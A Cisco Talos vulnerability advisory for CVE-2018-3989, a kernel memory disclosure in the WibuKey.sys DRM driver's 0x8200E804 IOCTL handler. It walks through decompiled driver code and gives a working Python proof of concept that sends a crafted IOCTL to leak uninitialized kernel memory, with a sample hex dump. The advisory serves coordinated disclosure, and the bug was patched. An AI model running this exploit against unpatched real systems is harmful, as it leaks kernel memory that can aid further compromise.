Talos Vulnerability Report

TALOS-2018-0657

WIBU-SYSTEMS WibuKey.sys 0x8200E804 kernel memory information disclosure vulnerability

January 28, 2019
CVE Number

CVE-2018-3989

Summary

An exploitable kernel memory disclosure vulnerability exists in the 0x8200E804 IOCTL handler functionality of WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400).

A specially crafted IRP request can cause the driver to return uninitialized memory, resulting in kernel memory disclosure. An attacker can send an IRP request to trigger this vulnerability.

Tested Versions

WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400) - Windows 7 x86

Product URLs

https://www.wibu.com/products/wibukey.html

CVSSv3 Score

4.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-200: Information Exposure

Details

WibuKey is a complete DRM solution used by many applications, such as Straton, Archicad, GRAPHISOFT, V-Ray and many more. Part of WibuKey solution is in the hardware, and part of it is a WibuKey Runtime for Windows package that contains important Windows drivers and services. This advisory is for a vulnerability in the driver installed by the Windows package.

This vulnerability can be triggered by sending IOCTL requests to the WibuKey device. Here, we show the default access controls on the device allow any user on the system to send IOCTL requests:

accesschk.exe -q -o \Device\WibuKey
\Device\WibuKey
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  NT AUTHORITY\RESTRICTED

The kernel memory leak is located in the IOCTL handler for the 0x8200E804 control code. The vulnerable function is:

Line 1 	int __stdcall sub_A08360F0(struct_buffer_1 *buffer, struct_allocatedBuffer *allocatedBuffer)
Line 2 	{
Line 3 	  someSize = buffer->someSize;
Line 4 	  v5 = buffer->unsigned6;
Line 5 	  result = v5 - 16;
Line 6 	  *(_DWORD *)allocatedBuffer->data = 0xC80B2;
Line 7 	  *(_WORD *)&allocatedBuffer->data[4] = 0x81;
Line 8 	  switch ( result )
Line 9 	  {
Line 10		 case 19:
Line 11		  v8 = sub_A08324B0(buffer->dword8, (_DWORD *)(buffer->dwordC > 0u ? (unsigned int)&buffer->unsigned10 : 0));
Line 12	LABEL_97:
Line 13		  *(_DWORD *)&allocatedBuffer->data[8] = v8;
Line 14		  v9 = v8 != 0;
Line 15		  goto LABEL_98;
Line 16		 (...)
Line 17	LABEL_98
Line 18	(...)
Line 19		  *(_WORD *)&allocatedBuffer->data[2] = someSize;

At Line 5 if the result of the substraction v5 - 16 is equal to 19 we can see that *(_WORD *)&allocatedBuffer->data[2] at line 19 is set to the value of the someSize variable.

The value of someSize is set based on data coming from the user at line 3. In the end, we fully control the value set to the *(_WORD *)&allocatedBuffer->data[2] field.

Moving up, we see the following code:

Line 1 	NTSTATUS __stdcall sub_A0835C60(_DEVICE_OBJECT *DeviceObject, PIRP Irp)
Line 2 	{	  
Line 3 	(...)
Line 4 			  allocatedBuffer = (struct_allocatedBuffer *)allocPool(outLen);
Line 5 			  if ( allocatedBuffer )
Line 6 			  {
Line 7 				if ( inBuffer->someSize <= outLen )
Line 8 				{
Line 9 				  sub_A08360F0(inBuffer, allocatedBuffer);
Line 10				  v9 = *(unsigned __int16 *)&allocatedBuffer->data[2];	
Line 12				  if ( v9 <= outLen )
Line 13				  {
Line 14					memmove(inBuffer, allocatedBuffer, v9);
Line 15					v4 = 0;
Line 16					Irp->IoStatus.Information = v9;
Line 17				  }

As we can see at line 10, the value from *(_WORD *)&allocatedBuffer->data[2] is assigned to the v9 variable, which is later compared with outLen (OutputBufferLength) at line 7.

If we pass the constraint, someSize bytes from allocatedBuffer are copied to inBuffer and returned to the user. Since the allocatedBuffer has not been cleared anywhere and there is no check to see how many bytes have really been set to it during this procedure, random kernel memory will be leaked to user space.

Exploit Proof of Concept

def leak_memory():
	fileName = u'\\\\.\\WibuKey'
	hFile = win32file.CreateFileW(fileName,
						  win32con.GENERIC_READ |win32con.GENERIC_WRITE,
						  0, 
						  None,
						  win32con.OPEN_EXISTING, 0 , None, 0)
	print "Handle ready : ",repr(hFile)
	
	try:
		 ioctl = 0x8200E804     
		 outBufferLen = 0x2e12 #FIXED		 
		 inputBuffer  = "XXXX" #gap
		 inputBuffer += struct.pack("<H",0x2e12) #unsigned4
		 inputBuffer += struct.pack("<B",35)   # unsigned6 FIXED
		 inputBuffer += "X" #gap
		 inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dword8
		 inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dwordC
		 inputBuffer += struct.pack("<I",0xFFFFFFFE ) #unsigned10
		 inputBuffer += struct.pack("<I",0xFFFFFFFD )#dword14
		 inputBuffer += struct.pack("<B",random.randint(0,0xFF))#char18
		 inputBuffer += "XXX"
		 inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dword1c
		 inputBuffer += struct.pack("<B",random.randint(0,0xFF) )
		 
		 inputBufferLen = len(inputBuffer)           
		 print "Time to send IOCTL : 0x%x" % ioctl
		 buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)
	except Exception as e:
		print e.message
	
leak_memory()


Output:

Handle ready :  <PyHANDLE:160>
outBufferSize :  11794
appCode :  35
00000000: B2 80 12 2E 0E 00 23 00  00 00 00 00 00 00 00 00  ......#.........
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
(...)
00001000: 46 69 6C 65 73 00 15 40  00 00 12 00 52 00 00 00  Files..@....R...
00001010: 02 00 00 00 29 00 00 00  0A 00 00 80 23 08 00 00  ....).......#...
00001020: 00 FC 0B 00 00 03 00 00  80 22 0B 00 00 00 FF FF  ........."......
00001030: 04 0C 00 00 22 08 20 00  00 14 0C 00 00 00 75 69  ....". .......ui
00001040: 6E 74 36 34 00 00 4D 61  70 70 69 6E 67 53 74 72  nt64..MappingStr
00001050: 69 6E 67 73 00 01 00 00  00 1C 0C 00 00 00 4D 49  ings..........MI
00001060: 46 2E 44 4D 54 46 7C 53  79 73 74 65 6D 20 4D 65  F.DMTF|System Me
00001070: 6D 6F 72 79 20 53 65 74  74 69 6E 67 73 7C 30 30  mory Settings|00
00001080: 31 2E 34 00 00 46 72 65  65 56 69 72 74 75 61 6C  1.4..FreeVirtual
00001090: 4D 65 6D 6F 72 79 00 15  40 00 00 0A 00 2A 00 00  Memory..@....*..
000010A0: 00 02 00 00 00 1C 00 00  00 0A 00 00 80 23 08 00  .............#..
000010B0: 00 00 80 0C 00 00 03 00  00 80 22 0B 00 00 00 FF  ..........".....
000010C0: FF 00 75 69 6E 74 36 34  00 00 49 6E 73 74 61 6C  ..uint64..Instal
000010D0: 6C 44 61 74 65 00 65 40  00 00 02 00 08 00 00 00  lDate.e@........
000010E0: 00 00 00 00 29 00 00 00  0A 00 00 80 23 08 00 00  ....).......#...
000010F0: 00 CC 0C 00 00 D6 0C 00  00 22 08 20 00 00 E6 0C  .........". ....
00001100: 00 00 03 00 00 80 22 0B  00 00 00 FF FF 00 64 61  ......".......da
00001110: 74 65 74 69 6D 65 00 00  4D 61 70 70 69 6E 67 53  tetime..MappingS	
(...)

Timeline

2018-09-14 - Vendor Disclosure
2018-12-19 - Vendor Patch
2019-01-28 - Public Release

Credit

Marcin 'Icewall' Noga of Cisco Talos.